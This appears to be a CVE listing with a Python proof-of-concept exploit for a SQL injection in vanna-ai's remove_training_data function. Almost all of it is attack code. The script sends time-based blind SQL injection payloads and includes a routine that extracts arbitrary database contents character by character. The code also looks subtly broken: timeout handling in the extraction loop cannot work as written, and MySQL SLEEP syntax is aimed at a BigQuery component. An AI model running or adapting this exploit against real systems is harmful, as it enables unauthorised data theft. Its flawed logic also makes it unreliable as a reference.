CVE-2026-4229: vanna-ai vanna remove_training_data函数SQL注入漏洞

import requests import json # CVE-2026-4229 SQL Injection PoC for vanna-ai vanna # Target: vanna-ai vanna <= 2.0.2 # Endpoint: remove_training_data function in bigquery_vector.py TARGET_URL = "http://target-server/api/remove_training" # Malicious payload for SQL injection # Using time-based blind SQL injection technique payload = { "id": "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" } def exploit_sql_injection(): """ Exploit SQL injection in vanna-ai remove_training_data function This PoC demonstrates time-based blind SQL injection """ try: print("[*] Sending malicious request...") print(f"[*] Target: {TARGET_URL}") print(f"[*] Payload: {payload}") response = requests.post(TARGET_URL, json=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") return response except requests.exceptions.Timeout: print("[+] SQL Injection confirmed! Request timed out as expected.") return None except Exception as e: print(f"[-] Error: {e}") return None def extract_dataBlind(sql_query): """ Extract data using time-based blind SQL injection Example: Extract database version """ # Character-by-character extraction using binary search extracted = "" for pos in range(1, 50): low = 32 high = 126 while low <= high: mid = (low + high) // 2 payload = { "id": f"1' AND (SELECT CASE WHEN (ASCII(SUBSTRING(({sql_query}),{pos},1))>{mid}) THEN SLEEP(2) ELSE 0 END) AND '1'='1" } try: response = requests.post(TARGET_URL, json=payload, timeout=5) except: pass # If timeout occurs, character is greater than mid # Adjust range accordingly if response is None: low = mid + 1 else: high = mid - 1 if high >= 32: extracted += chr(high) print(f"[*] Extracted so far: {extracted}") return extracted if __name__ == "__main__": print("="*60) print("CVE-2026-4229 SQL Injection PoC") print("vanna-ai vanna <= 2.0.2") print("="*60) exploit_sql_injection()